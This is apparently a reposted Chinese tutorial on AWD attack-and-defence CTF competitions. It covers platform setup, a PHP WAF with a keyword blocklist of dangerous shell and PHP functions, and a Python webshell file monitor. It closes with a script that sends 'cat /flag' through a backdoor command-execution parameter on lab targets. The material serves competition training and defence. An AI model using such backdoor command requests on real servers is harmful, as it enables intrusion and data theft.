数据来源
何为AWD
AWD 常见比赛规则说明:
Attack With Defence,简而言之就是你既是一个 hacker(黑客),又是一个 manager 。比赛形式:一般就是一个 ssh 对应一个 web 服务,然后 flag 五分钟一轮,各队一般都有自己的初始 分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check , check 不过就扣 分,扣除的分值由服务 check 正常的队伍均分。其中一半比赛以 WEB 居多,可能会涉及内网安全,攻击和防御大部分为前期培训内容前期准备:
- 队伍分工明确
- 脚本工具环境完整
- 漏洞 POC/EXP 库完整
- 安全防御 WAF 及批量脚本完整
必备操作:
- 备份网站文件
- 修改数据库默认密码
- 修改网页登陆端一切弱密码
- 查看是否留有后门账户
- 关闭不必要端口,如远程登陆端口
- 使用命令匹配一句话特性
- 关注是否运行了“特殊”进程
- 权限高可以设置防火墙或者禁止他人修改本目录
演示案例:
- 防守-部署 WAF-实现第一时间拦截部分攻击-升级后续版
- 防守-扫描后门-实现第一时间利用预留后门攻击-升级脚本版
- 防守-代码审计-实现第一时间找出源码中安全漏洞-升级漏洞库版
- 防守-文件监控-实现第一时间监控当前目录文件操作-升级流量监控
- 攻击-批量 Flag-实现第一时间利用脚本批量 Flag 得分-升级模版不死马
线下AWD安装步骤:
1)安装Ubuntun环境(注意国内的镜像用第二步的,不要用这步的下载太慢,这一步下载安装完虚拟机就好)
Ubuntun镜像不建议用命令行安装,建议直接安装虚拟机:(我在kali用命令行安装搞了一天都没弄好)Ubuntun国内镜像下载及虚拟机安装与换源_ubuntu镜像下载
建议虚拟机安装完先保存一个快照,方便恢复。
2)参考:AWD线下攻防平台搭建 | 码农家园 继续后面的安装
3)参考:https://www.cnblogs.com/Triangle-security/p/11332223.html 继续后面的安装就能安装成功了
如果你的虚拟机没有安装python,就在命令行输入: sudo apt install python
# 这个是安装python2 如果要安装3就在后面加上3,不过这里需要2.x的版本
安装成功
最后记得保存虚拟机的快照
4)为了方便操作,在真实机连接靶机:xfp 7与xshell 7
查看Ubuntun虚拟机的ip信息在命令行输入:ifconfig
如果输入“ifconfig”命令报错后,可能是没有安装net-tools工具,可输入以下命令安装即可:
sudo apt install net-tools
我们需要的是虚拟的ip通过这个ip来操作靶机
连接靶机的端口与账户/密码
开始连接
如果你要查看或下载/修改目标文文件,那就切换为Xshell 7
其他两个靶机也可以这样操作,以后就可以在真实机操作靶机了,我这里就不演示了,操作都是一样的,第二个靶机的端口是为2202,第三个2203,以此类推
5)把靶机的文件先备份,因为被攻击之后文件可能会发生变化后面要做代码审计也方便
下载太慢我直接从靶场拖出来,这里就是演示一下下载的操作
6)在真实机访问靶机的web网站靶机1:192.168.1.6:8801、靶机2:192.168.1.6:8802 ...
7)查看实时分数:http://192.168.1.6:8080/score.txt
如果嫌弃这个页面丑就改成别人做的页面,计分板源码下载(参考:AWD简单介绍和搭建AWD平台_super 硕的博客-CSDN博客)
链接:https://pan.baidu.com/s/1xF9uZpKUZTZt_OOfpoOrOw
提取码:qwer
计分板文件拷贝至awd-platform下的flag_server文件夹下,然后将文件score.txt与result.txt文件权限调至777,这样才能刷新出分值。
记分板里面的index.php
文件需要将IP换成自己虚拟机的IP
最终效果(这个是夜莫离大佬做的页面):http://192.168.1.6:8080/
案例 1-防守-部署 WAF-实现第一时间拦截部分攻击-升级后续版
最快第一时间操作,此类技术核心准备为各个环境的 WAF 部署(源码语言,比赛规则)
waf文件路径:\AWD红蓝对抗资料工具-小迪安全\Prepare-for-AWD-master\Defense (资料下载链接在文章尾部)
如果不想下载就自己创建一个这样的waf.php文件
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time=date("Y-m-d H:i:s");//将时间赋值给变量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
然后修改数据库配置文件(为啥修改:网站基本都会包含数据库配置文件,数据库配置文件包含waf文件的)
include('waf.php')
如果需要升级:GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计,便携性好,低权限运行的EDR系统。
案例 2-防守-扫描后门-实现第一时间利用预留后门攻击-升级脚本版
最快第一时间操作,此类技术核心在于扫描源码中预留或隐藏后门(源码语言)
扫描后门有很多种工具可以进行:扫描工具,我这里使用安全狗做演示:
案例 3-防守-代码审计-实现第一时间找出源码中安全漏洞-升级漏洞
Seay源代码审计系统——(只支持PHP语言,单一,速度快,审计结果相对Fortify较少)
工具下载:(41条消息) Fortify源码审计、Seay源代码审计系统资源-CSDN文库
使用:
也可以选一条漏洞信息双击打开对应的文件
更多操作参考:代码审计:Seay源代码审计系统实例演示 | | 安云网 – AnYun.ORG
Fortify——(支持语言丰富,速度较慢,审计结果更多、更详细)
工具下载:(41条消息) Fortify源码审计、Seay源代码审计系统资源-CSDN文库
安装完成后打开软件:
扫描结果是按照漏洞类型分类的:
案例 4-防守-文件监控-实现第一时间监控当前目录文件操作-升级行为监控
1)准备脚本文件monitor.py,文件路径:\AWD红蓝对抗资料工具-小迪安全\awd脚本 (资料下载链接在文章尾部)
如果不想下载就自己创建一个这样的monitor.py文件
# -*- coding: utf-8 -*-
import os
import re
import hashlib
import shutil
import ntpath
import time
import sys
# 设置系统字符集,防止写入log时出现错误
reload(sys)
sys.setdefaultencoding('utf-8')
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_B0503373BDA6E3C5CD4E5118C02ED13A' #drops_md5(icecoke1024)
bakstring = 'back_CA7CB46E9223293531C04586F3448350' #bak_md5(icecoke1)
logstring = 'log_8998F445923C88FF441813F0F320962C' #log_md5(icecoke2)
webshellstring = 'webshell_988A15AB87447653EFB4329A90FF45C5'#webshell_md5(icecoke3)
difffile = 'difference_3C95FA5FB01141398896EDAA8D667802' #diff_md5(icecoke4)
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
# 文件MD5消失即为文件被删除,恢复文件
except Exception, e:
print u'[*] 文件被删除 : ' + getUnicode(filepath)
shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filepath)), filepath)
for value in Special_path:
mkdir_p(Special_path[value])
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
print u'[+] 被删除文件已恢复!'
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('deleted_file: ' + getUnicode(filepath) + ' 时间: ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 被删除文件: ' + getUnicode(filepath)
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------持续监测文件中------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST)
print u'[*] 所有文件已备份完毕!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] 查杀疑似WebShell上传文件: ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
print u'[+] 新上传文件已删除!'
except Exception as e:
print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('new_file: ' + getUnicode(filepath) + ' 时间: ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 上传文件: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] 该文件被修改 : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
print u'[+] 文件已复原!'
except Exception as e:
print u'[!] 移动文件失败, "%s" 疑似WebShell,请及时处理.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('difference_file: ' + getUnicode(filekey) + ' 时间: ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] 记录失败 : 被修改文件: ' + getUnicode(filekey)
pass
time.sleep(2)
2)上传脚本文件到目标靶机
3)在Xshell 7远程运行脚本
前提需要链接Ubuntu虚拟机,而不是靶机,要连接虚拟机就要开启22端口
建议把编辑配置文件的命令:vi 改成 gedit # 这样可以用文档打开进行编辑比较方便
service sshd restart
最后开始运行脚本
cd ./桌面/awd-platform/team1 # 切换到app目录下
python monitor.py # 这是个pyhton文件所以要用pyhton来运行
4)脚本功能演示
随便找个文件先备份下来再删除
回到虚拟机的终端查看
回到我们的靶机文件刷新检查一下
上传文件也是做不了,可以自己尝试
总结
- 文件监控的作用:解决webshell上传或删除文件的操作
- 缺点:如果攻击不需要借助webshell的,文件监控防御不了
- 解决方案:配合流量监控与代码审计。
案例 5- 攻击-批量 Flag -实批现第一时间利用脚本量 Flag 得分- 升级权限维持版
攻击第一时间操作,写好批量获取 Flag 脚本后,预定 Flag 更新时间,实现自动获取及提交,升级后门写入及不死马等操作,实现权限维持实时获取得分
写批量攻击脚本,随便找个awd项目存在的后门文件基于这个后门来写攻击脚本,这里只是用一个后门文件举例其他文件写法也类似,主要就是学习攻击思路。
攻击脚本,创建一个 awd_fIag.py
import requests
# http://192.168.1.6:8080/
# taam1 8801 taam2 8802
# 注意:我这里将team1设置为攻击者(自己),所以获取fiag时就不获取team1
def get_fiag():
"""
get_fiag 函数获取flag文件的内容
:return: None
"""
data = {
'shell':'cat /flag' # footer.php文件的漏洞是命令执行,接收命令的变量就是:shell 执行cat /flag 命令获取flag文件里内容,然后提交我们就会得分
}
for i in range(8802,8804): # 这里循环2次,range(num1,num2) 生成一个数字序列,不包括num2自身(这里捕获去8801因为这个是我自己,不能攻击自己)
url = f'http://192.168.1.6:{i}/footer.php' # 拼接靶机的url
# print(url)
result = requests.post(url,data=data).content.decode('utf-8') # content方法取出响应的数据,后门文件的请求就是post所以我们这里也是post请求
print(result)
with open('flag.txt','a+') as f: # with open() 打开文件会自动关闭,不写with 就要手动关闭
f.write(result+'\n') # write() 文件写入的方法, +'\n' 让数据换行
def tijiao_flag():
"""
tijiao_flag 函数将flag内容提交到靶机获取分数
:return:
"""
for flag in open('flag.txt'): # 将刚才存入到flag.txt文件的数据取出
flag = flag.replace('\n','') # replace() 方法替换字符,这里将 \n换行替换为空
# flag_file.php?token=teamX&flag= 是awd固定的提交路径
url = f'http://192.168.1.6:8080/flag_file.php?token=team1&flag={flag}' # 上面将team1所以这里也就是team1代表攻击者,就会给我加分
requests.get(url) # 发送get请求
if __name__ == '__main__': # __main__ 代表当前模块,这的判断就是在当前模块里面的代码才会执行
get_fiag()
tijiao_flag()
攻击之前分数
攻击之后
结束比赛(结束之后原来的靶机会被删除,再创建再生成)
进入项目目录
sudo su # 切换为管理员权限
python stop_clean.py
下次再开启比赛
启动镜像
进入项目目录
复制3个web_yunnan_simple的靶机,数值可改
python batch.py web_yunnan_simple 3
启动三个docker靶机和check服务器、flag_server服务器。数值可改
python start.py ./ 3
在当前目录下,连接裁判机文章来源:https://www.toymoban.com/news/detail-456921.html
docker attach check_server
python check.py
check时间和flag刷新时间 文章来源地址https://www.toymoban.com/news/detail-456921.html
涉及资源:
到了这里,关于p80 红蓝对抗-AWD 模式&准备&攻防&监控&批量的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!